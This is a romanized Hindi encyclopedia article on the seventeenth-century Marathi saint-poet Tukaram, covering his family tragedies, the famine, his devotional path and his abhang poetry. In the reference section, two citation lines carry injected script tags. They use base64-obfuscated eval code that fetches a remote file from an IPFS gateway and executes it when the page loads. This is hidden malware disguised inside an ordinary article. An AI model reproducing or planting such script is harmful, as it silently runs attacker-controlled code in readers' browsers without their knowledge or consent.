तुकाराम
tukaram
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| poora nam | sant tukaram |
| janm | nishchit tithi ajnat |
| janm bhoomi | pune zile ke aantargat dehoo namak gram |
| mrityu | nishchit tithi ajnat |
| karm bhoomi | maharashtr |
| karm-kshetr | kavi |
| prasiddhi | bhakti aandolan ke ek pramukh stanbh |
| nagarikata | bharatiy |
| bahari k diyaan | adhikarik vebasait |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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tukaram (aangrezi: Tukaram) ek mahan sant kavi, jo bharat mean chale rahe bhakti aandolan ke ek pramukh stanbh the.
jivan parichay
tukaram ka janm pune zile ke aantargat dehoo namak gram mean shake 1520; sanh 1598 mean hua tha. tukaram ki janmatithi ke sanbandh mean vidvanoan mean matabhed hai tatha sabhi drishtiyoan se vichar karane par shake 1520 mean janm hona hi many pratit hota hai. poorv ke athavean purush vishvanbhar baba se inake kul mean vitthal ki upasana barabar chali a rahi thi. inake kul ke sabhi log pandharapur ki yatra (vari) ke liye niyamit roop se jate the.
vipattiyaan
dehoo gram ke mahajan hone ke karan tukaram ke kutooanb ko pratishthit mana jata tha. inaki balyavastha mata kanakaee v pita baheba ki dekharekh mean atyant dular se biti, kiantu jab ye pray: 18 varsh ke the inake mata pita ka svargavas ho gaya tatha isi samay desh mean hue bhishan akal ke karan inaki pratham patni v chhote balak ki bhookh ke karan t dapate hue mrityu ho gee. vipattiyoan ki jvalaoan mean jhulase hue tukaram ka man prapanch se oob gaya. inaki doosari patni jija baee b di hi karkasha thi. ye saansarik sukhoan se virakt ho ge. chitt ko shaanti mile, is vichar se tukaram pratidin dehoo gram ke samip bhavanath namak paha di par jate aur bhagavan vitthal ke namasmaran mean din vyatit karate.
mata-pita se viyog
tukaramaji satrah varsh ke the, tab unake vatsalyamoorti pitashri bolhoba is duniya se uth ge, jinhoanne tukaramaji ko jaminadar banaya tha.
pita ne kiya sanchit dhan. jivan ki n paravah kar.
ki mahajani - pratha pradan. bojh uthaya kati-kandhoan par ॥
jinaki chhatrachhaya mean sansar-tap se bache, vah saya hi hat gaya.
akasmath chhod ge pita. thi tab nahian koee chianta.
tukaramaji atyant duahkhi hue. vah duahkh kam hone se pahale hi (arthat pita ki maut) maut ke ek varsh pashchath mata kanakaee ka svargavas hua. tukaramaji par duahkhoan ka pahad toot p da. maan ne ladale ke lie kya nahian kiya tha ? usake bad atharah baras ki umr mean jyeshth bandhu savaji ki patni (bhavaj) chal basi. pahale se hi ghar-grihasthi mean savaji ka dhyan n tha. patni ki mrityu se ve ghar tyagakar tirthayatra ke lie nikal ge. jo ge, vapas laute hi nahian. parivar ke char sadasyoan ko unaka bichhoh sahana p da. jahaan kuchh kami n thi, vahaan apanoan ki, ek ek ki kami khalane lagi. tukaramaji ne sabr rakha. ve himmat n hare. udasinata, nirasha ke bavajood umr ki 20 sal ki avastha mean saphalata se ghar-grihasthi karane ka prayas karane lage. parantu kal ko yah bhi manjoor n tha. ek hi varsh mean sthitiyoan ne pratikool roop dharan kiya. dakhkhin mean bada akal p da. mahabhayankar akal samay tha 1629 eesavian ka (shake 1550-51) deri se barasat huee. huee to ativrishti mean phasal bah gee. logoan ke man mean ummid ki kiran baki thi. par 1630 eesavian mean bilkul varsha n huee. charoan or hahakar mach gaya. anaj ki kianmatean asaman chhoone lagian. hari ghas ke abhav mean anek prani maut ke ghat utare. ann ki kami saikadoan logoan ki maut ka karan bani. dhani parivar mitti chatane lage. durdasha ka pher phir bhi samapt n hua. sanh 1631 eesavian mean prakritik apattiyaan charam sima par kar geean. ativrishti tatha badh ki chapet se kuchh n bacha. akal tatha prakriti ka prakop lagatar tin sal jhelana p da. akal ki is durdasha ka varnan mahipati baba is tarah karate haian -
hua abhav, anaj-bij. log ath ser koan muanhataj॥
badal laute bina gire. ghas-abhav mean bail mare॥
bhishan akal ki chapet mean tukaramaji ka karobar, grihasthi samool nasht huee. pashudhan nasht hua, sahukari doobi, dhandha chaupat hua, samman, pratishtha ghat gee. aise mean pratham patni rakhamabaee tatha ikalauta beta santoba kal ke gras bane. amataur par akal ki sthiti sahukar aur bepariyoan ke lie sunahara mauka hota hai. chijoan ka kritrim abhav nirman kar ve apani jebean bharate haian. par tukaramaji aise pattharadil nahian the. apana duahkh, durdasha bhoolakar ve akalapiditoan ki seva mean, madad mean jut ge.[1]
paramarth marg
tukaram ko chaitany namak sadhu ne magh shuddh 10 shake 1541 mean 'ramkrishna hari' mantr ka svapn mean upadesh diya. isake uparaant inhoanne 17 varsh sansar ko saman roop se upadesh dene mean vyatit kie. sachche vairagy tatha kshamashil aant:karan ke karan inaki nianda karanevale niandak bhi pashchatap karate hooe inake bhakt ban ge. is prakar bhagavat dharm ka sabako upadesh karate v paramarth marg ko alokit karate hue adharm ka khandan karanevale tukaram ne phalgun badi (krishna) dvadashi, shake 1571 ko devavisarjan kiya.
tukaram ke mukh se samay samay par sahaj roop se parisphutit honevali 'abhang' vani ke atirikt inaki any koee vishesh sahityik kriti nahian hai. apane jivan ke uttarardh mean inake dvara gae ge tatha usi kshan inake shishyoan dvara likhe ge lagabhag 4000 abhang aj upalabdh haian.
sant jnaneshvar dvara likhi gee 'jnaneshrvari' tatha shri ekanath dvara likhit 'ekanathi bhagavat' ke barakari sanpradayavaloan ke pramukh dharmagranth haian. is vaandmay ki chhap tukaram ke aanbhangoan par dikhalaee p dati haian. tukaram ne apani sadhak avastha mean in poorvakalin santoan ke granthoan ka gaharaee tatha shraddha se adhyayan kiya. in tinoan sant kaviyoan ke sahity mean ek hi adhyatm sootr piroya hua hai tatha tinoan ke paramarthik vicharoan ka aantarang bhi ekaroop hai. jnanadev ki sumadhur vani kavyalankar se mandit hai, ekanath ki bhasha vistrit hai par tukaram ki vani sootrabaddh, alpakshar, ramaniy tatha marmabhedak haian.
avastha
thumb|tukaram tukaram ka abhang vadmay atyant atmapar hone ke karan usamean unake paramarthik jivan ka sanpoorn darshan hota hai. kautuanbik apattiyoan se trast ek samany vyakti kis prakar atmasakshatkari sant ban saka, isaka spasht roop tukaram ke abhangoan mean dikhalaee p data hai. unamean unake adhyatmik charitr ki sakar roop mean tin avasthaean dikhalaee p dati haian.
- pratham avastha
pratham sadhak avastha mean tukaram man mean kie kisi nishchayanusar sansar se nivrit tatha paramarth ki or pravrit dikhalaee p date haian.
- doosari avastha
doosari avastha mean eeshvar sakshatkar ke prayatn ko asaphal hote dekhakar tukaram atyadhik nirasha ki sthiti mean jivan yapan karane lage. unake dvara anubhoot is chanam nairashy ka jo savistar chitran aanbhang vani mean hua haian usaki hridayavedhakata marathi bhasha mean sarvatha advitiy hai.
- tisari avastha
kiankartavyamoodhata ke aandhakar mean tukaram ji ki atma ko t dapanevali ghor tamasvini ka shighr hi aant hua aur atm sakshatkar ke soory se alokit tukaram brahmanand mean vibhor ho ge. unake adhyatmik jivanapath ki yah aantim evan chiravaanchhit saphalata ki avastha thi.
alochana
is prakar eeshvaraprapti ki sadhana poorn hone ke uparaant tukaram ke mukh se jo upadeshavani prakat huee vah atyant mahattvapoorn aur arthapoorn hai. svabhavat: spashtavadi hone ke karan inaki vani mean jo kathorata dikhalaee p dati hai, usake pichhe inaka pramukh uddeshy samaj se dushtoan ka nirdalan kar dharm ka sanrakshan karana hi tha. inhone sadaiv saty ka hi avalanban kiya aur kisi ki prasannata aur aprasannata ki or dhyan n dete hue dharmasanrankshan ke sath sath pakhandakhandan ka kary nirantar chalaya. dabhik sant, anubhavashoony pothipandit, durachari dharmaguru ityadi samajakantakoan ki unhoanne atyant tivr alochana ki hai. tukaram man se bhagyavadi the at: unake dvara chitrit manavi sansar ka chitr nirasha, viphalata aur udveg se ranga hua hai, tathapi unhoanne saansarikoan ke liye 'sansar ka tyag karo' is prakar ka upadesh kabhi nahian diya. inake upadesh ka yahi sar hai ki sansar ke kshanik sukh ki apeksha paramarth ke shashvat sukh ki prapti ke liye manav ka prayatn hona chahie.
kavy rachana
tukaram ki adhikaansh kavyarachana kaibal abhang chhand mean hi hai, tathapi unhoanne roopakatmak rachanaean bhi ki haian. sabhi roopak kavy ki drishti se utkrisht haian. inaki vani shrotaoan ke kan par p date hi unake hriday ko pak d lene ka adbhut samarthy rakhati hai. inake kavyoan mean alankaroan ka ya shabdachamatkar ka prachury nahian hai. inake abhang sootrabaddh hote haian. tho de shabdoan mean mahan arthoan ko vyakt karane ka inaka kaushal marathi sahity mean advitiy hai.
tukaram ki atmanishth abhangavani janasadharan ko bhi param priy lagati hai. isaka pramukh karan hai ki samany manav ke hriday mean udbhoot honevale sukh, du:kh, asha, nirasha, rag, lobh adi ka prakatikaran isamean dikhalaee p data hai. jnaneshvar, namadev adi santoan ne bhagavat dharm ki pattaka ko apane kandhoan par hi liya tha kiantu tukaram ne use apane jivanakal hi mean adhik ooanche sthan par phahara diya. unhoanne adhyatmajnan ko sulabh banaya tatha bhakti ka danka bajate hue aval vriddho ke liye sahaj sulabh sadhy aise bhakti marg ko adhik ujval kar diya.
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tika tippani aur sandarbh
“khand 5”, hindi vishvakosh, 1966 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 394.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mata-pita se viyog- tukaram (hiandi) (e.es.pi) tukaram d aaut k aaum. abhigaman tithi: 22 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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